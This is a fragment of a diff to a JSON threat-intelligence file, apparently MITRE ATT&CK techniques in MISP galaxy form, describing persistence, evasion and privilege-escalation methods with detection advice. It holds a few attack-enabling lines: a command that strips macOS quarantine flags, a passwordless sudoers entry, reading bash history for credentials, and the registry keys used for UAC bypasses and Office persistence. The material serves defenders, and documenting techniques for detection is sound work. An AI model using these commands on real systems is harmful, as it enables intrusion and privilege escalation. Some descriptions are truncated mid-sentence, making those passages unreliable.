a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.\n\nDetection: Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1023" - ], - "uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810" - }, - "value": "Shortcut Modification" - }, - { - "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system.\n\nDetection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Network protocol analysis, Process use of network, File monitoring, Malware reverse engineering, Binary file metadata", - "meta": { - "mitre_data_sources": [ - "Network protocol analysis", - "Process use of network", - "File monitoring", - "Malware reverse engineering", - "Binary file metadata" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1027" - ], - "uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" - }, - "value": "Obfuscated Files or Information" - }, - { - "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, File monitoring, API monitoring", - "meta": { - "mitre_data_sources": [ - "Process monitoring", - "File monitoring", - "API monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1125" - ], - "uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf" - }, - "value": "Video Capture" - }, - { - "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check[[Citation: Methods of Mac Malware Persistence]]. The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app [[Citation: Clearing quarantine attribute]][[Citation: OceanLotus for OS X]].\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the url where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application [[Citation: Bypassing Gatekeeper]].\n\nDetection: Monitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further.\n\nPlatforms: MacOS, OS X", - "meta": { - "mitre_platforms": [ - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1144", - "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/", - "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update" - ], - "uuid": "05886665-fc7e-4a3d-847f-500e0112aac7" - }, - "value": "Gatekeeper Bypass" - }, - { - "description": "Masquerading occurs when an executable, legitimate or malicious, is placed in a commonly trusted location (such as C:\\Windows\\System32) or named with a common name (such as \"explorer.exe\" or \"svchost.exe\") to bypass tools that trust executables by relying on file name or path. An adversary may even use a renamed copy of a legitimate utility, such as rundll32.exe.[[Citation: Endgame Masquerade Ball]] Masquerading also may be done to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.\n\nDetection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the binary name on disk and the binary's resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity.[[Citation: Endgame Masquerade Ball]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Binary file metadata\n\nContributors: ENDGAME", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Binary file metadata" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1036", - "https://www.endgame.com/blog/how-hunt-masquerade-ball" - ], - "uuid": "42e8de7b-37b2-4258-905a-6897815e58e0" - }, - "value": "Masquerading" - }, - { - "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests[[Citation: MSDN Manifests]] are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL.[[Citation: Stewart 2014]]\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.\n\nDetection: Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process use of network, Process monitoring, Loaded DLLs", - "meta": { - "mitre_data_sources": [ - "Process use of network", - "Process monitoring", - "Loaded DLLs" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1073", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf", - "https://msdn.microsoft.com/en-us/library/aa375365" - ], - "uuid": "b2001907-166b-4d71-bb3c-9d26c871de09" - }, - "value": "DLL Side-Loading" - }, - { - "description": "Data, such as sensitive documents, may be exfiltrated through the use of automated processing or Scripting after being gathered during Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process use of network", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process use of network" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1020" - ], - "uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9" - }, - "value": "Automated Exfiltration" - }, - { - "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as [[Lateral Movement]], based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process use of network, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Netflow/Enclave netflow", - "Network protocol analysis", - "Packet capture", - "Process use of network", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1046" - ], - "uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88" - }, - "value": "Network Service Scanning" - }, - { - "description": "~/.bash_profile and ~/.bashrc are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed.\n\nMac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc.\n\nThese files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell.\n\nDetection: While users may customize their ~/.bashrc and ~/.bash_profile files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring", - "Process command-line parameters", - "Process use of network" - ], - "mitre_platforms": [ - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1156" - ], - "uuid": "1aeb52d6-ae80-42bf-ade8-c2635190837d" - }, - "value": ".bash_profile and .bashrc" - }, - { - "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials.[[Citation: External to DA, the OS X Way]]\n\nDetection: Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1139", - "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" - ], - "uuid": "2f54ae97-ac8b-4401-85ed-215cfa0a380f" - }, - "value": "Bash History" - }, - { - "description": "Adversaries may move to additional systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into another system and executes. This may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system.\n\nDetection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for [[Command and Control]] and system and network information [[Discovery]].\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Data loss prevention", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Data loss prevention" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1091" - ], - "uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4" - }, - "value": "Replication Through Removable Media" - }, - { - "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).Remote Services similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Accessibility Features technique for [[Persistence]].[[Citation: Alperovitch Malware]]\n\nDetection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring", - "meta": { - "mitre_data_sources": [ - "Authentication logs", - "Netflow/Enclave netflow", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1076", - "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx", - "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/" - ], - "uuid": "51dea151-0898-4a45-967c-3ebee0420484" - }, - "value": "Remote Desktop Protocol" + "value": "Remote Services" }, { "description": "Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring", @@ -2515,42 +4442,38 @@ "value": "Scheduled Transfer" }, { - "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.DLL Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key.[[Citation: enigma0x3 Fileless UAC Bypass]]\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys.[[Citation: enigma0x3 sdclt app paths]][[Citation: enigma0x3 sdclt bypass]]\n\nAnalysts should monitor these Registry settings for unauthorized changes.\n\nPlatforms: Windows Server 2012, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows 8.1, Windows 10\n\nData Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters\n\nEffective Permissions: Administrator\n\nContributors: Stefan Kanthak, Casey Smith", + "description": "Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. The account used to create the task must be in the Administrators group on the local system. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on.Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nEffective Permissions: SYSTEM, Administrator", "meta": { "mitre_data_sources": [ - "System calls", + "File monitoring", "Process monitoring", - "Authentication logs", "Process command-line parameters" ], "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", "Windows Server 2012", + "Windows XP", "Windows 7", "Windows 8", + "Windows Server 2003 R2", "Windows Server 2008 R2", "Windows Server 2012 R2", + "Windows Vista", "Windows 8.1", "Windows 10" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1088", - "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", - "https://github.com/hfiref0x/UACME", - "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works", - "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/", - "https://msdn.microsoft.com/en-us/library/ms679687.aspx", - "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/", - "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx", - "http://www.pretentiousname.com/misc/win7%20uac%20whitelist2.html", - "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass", - "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware" + "https://attack.mitre.org/wiki/Technique/T1053", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://technet.microsoft.com/en-us/library/cc785125.aspx" ], - "uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + "uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9" }, - "value": "Bypass User Account Control" + "value": "Scheduled Task" }, { - "description": "===Windows===\n\nWindows allows logon scripts to be run whenever a specific user or group of users log into a system.[[Citation: TechNet Logon Scripts]] The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.\n\nIf adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\n\n===Mac===\n\nMac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root[[Citation: creating login hook]]. There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.\n\nDetection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring", + "description": "Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.\n\nDetection: Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring", "meta": { "mitre_data_sources": [ "File monitoring", @@ -2568,26 +4491,22 @@ "Windows Server 2012 R2", "Windows Vista", "Windows 8.1", - "Windows 10", - "MacOS", - "OS X" + "Windows 10" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1037", - "https://support.apple.com/de-at/HT2420", - "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx" + "https://attack.mitre.org/wiki/Technique/T1051" ], - "uuid": "03259939-0b57-482f-8eb5-87c0e0d54334" + "uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db" }, - "value": "Logon Scripts" + "value": "Shared Webroot" }, { - "description": "A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap.[[Citation: Trend Micro APT Attack Tools]]\n\nThe definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.\n\nThe network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture\n\nContributors: Walker Johnson", + "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nPopular websites and social media can act as a mechanism for command and control and give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture", "meta": { "mitre_data_sources": [ - "Process use of network", - "Process monitoring", + "Host network interface", "Netflow/Enclave netflow", + "Network protocol analysis", "Packet capture" ], "mitre_platforms": [ @@ -2608,1451 +4527,12 @@ "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1090", - "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", + "https://attack.mitre.org/wiki/Technique/T1102", "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" ], - "uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea" + "uuid": "830c9528-df21-472c-8c14-a036bf17d665" }, - "value": "Connection Proxy" - }, - { - "description": "The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL[[Citation: OSX.Dok Malware]]. \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.\n\nDetection: On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring\n\nEffective Permissions: root", - "meta": { - "mitre_data_sources": [ - "File monitoring" - ], - "mitre_platforms": [ - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1169", - "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" - ], - "uuid": "809ff990-982f-4997-8570-a6f516e8fede" - }, - "value": "Sudo" - }, - { - "description": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.\n\n===Office Template Macros===\n\nMicrosoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts.[[Citation: Microsoft Change Normal Template]]\n\nOffice Visual Basic for Applications (VBA) macros[[Citation: MSDN VBA in Office]] can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.[[Citation: enigma0x3 normal.dotm]][[Citation: Hexacorn Office Template Macros]]\n\nWord Normal.dotm location:C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n===Office Test===\n\nA Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started[[Citation: Hexacorn Office Test]]\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n\n===Add-ins===\n\nOffice add-ins can be used to add functionality to 